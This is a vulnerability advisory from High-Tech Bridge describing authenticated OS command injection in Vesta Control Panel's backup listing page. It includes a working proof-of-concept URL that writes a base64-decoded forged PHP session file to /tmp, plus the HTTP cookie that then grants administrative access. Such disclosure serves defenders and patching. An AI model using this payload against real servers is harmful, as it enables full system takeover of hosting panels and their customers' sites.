OS Command Injection in Vesta Control Panel

High-Tech Bridge Security Research Lab discovered critical vulnerability in Vesta Control Panel, which can be exploited to execute arbitrary system commands and gain complete access to the vulnerable system.

The vulnerability exists due to insufficient filtration of user-input passed via the “backup” HTTP GET parameter to “/list/backup/index.php” before using it in the PHP ‘exec()’ function. A remote authenticated attacker can inject arbitrary commands and execute them on the system with privileges of the default Vesta Control Panel “admin” account.

Successful exploitation of this vulnerability may allow an attacker to gain complete control over the Vesta Control Panel and use it to advance his privileges on the system, manage installed services, reconfigure firewall, etc. Since Vesta Control Panel is a multiuser control panel for hosting multiple websites, any registered client can use the described vulnerability to compromise the entire system.

A simple exploit below will create a PHP session file in “/tmp/” directory with administrative access to Vesta Control Panel:

https://192.168.189.133:8083/list/backup/index.php?backup=123’ || echo ‘V0VCX1NZU1RFTXxzOjc6ImFwYWNoZTIiO1dFQl9SR1JPVVBTfHM6ODoid3d3LWRhdGEiO1dFQl9 QT1JUfHM6NDoiODA4MCI7V0VCX1NTTHxzOjc6Im1vZF9zc2wiO1dFQl9TU0xfUE9SVHxzOjQ6Ijg 0NDMiO1BST1hZX1NZU1RFTXxzOjU6Im5naW54IjtQUk9YWV9QT1JUfHM6MjoiODAiO1BST1hZX1N TTF9QT1JUfHM6MzoiNDQzIjtGVFBfU1lTVEVNfHM6NjoidnNmdHBkIjtNQUlMX1NZU1RFTXxzOjU 6ImV4aW00IjtJTUFQX1NZU1RFTXxzOjc6ImRvdmVjb3QiO0FOVElWSVJVU19TWVNURU18czowOiI iO0FOVElTUEFNX1NZU1RFTXxzOjA6IiI7REJfU1lTVEVNfHM6NToibXlzcWwiO0ROU19TWVNURU1 8czo1OiJiaW5kOSI7U1RBVFNfU1lTVEVNfHM6MTc6IndlYmFsaXplcixhd3N0YXRzIjtCQUNLVVB fU1lTVEVNfHM6NToibG9jYWwiO0NST05fU1lTVEVNfHM6NDoiY3JvbiI7RElTS19RVU9UQXxzOjI 6Im5vIjtGSVJFV0FMTF9TWVNURU18czo4OiJpcHRhYmxlcyI7RklSRVdBTExfRVhURU5TSU9OfHM 6ODoiZmFpbDJiYW4iO1JFUE9TSVRPUll8czo1OiJjbW1udCI7VkVSU0lPTnxzOjU6IjAuOS44Ijt MQU5HVUFHRXxzOjI6ImVuIjtsYW5ndWFnZXxzOjI6ImVuIjt1c2VyfHM6NToiYWRtaW4iO2JhY2t 8czoxMToiL2xpc3QvdXNlci8iOw==’ | base64 --decode > /tmp/sess_12345%20||%20echo%20\

After successful creation of PHP session file, the following cookie can be used to gain administrative access:

GET / HTTP/1.1
Cookie: mp_b5e6ddf58b2d02245a7a19005d1cec48_mixpanel=%7B%22distinct_id%22%3A%20%2214 d5bb8613c39-02d2d6f80b48dc8-44564136-1fa400-14d5bb8613d828%22%2C%22%24initia l_referrer%22%3A%20%22https%3A%2F%2F192.168.189.133%3A8000%2F%22%2C%22%24ini tial_referring_domain%22%3A%20%22192.168.189.133%3A8000%22%7D; PHPSESSID=12345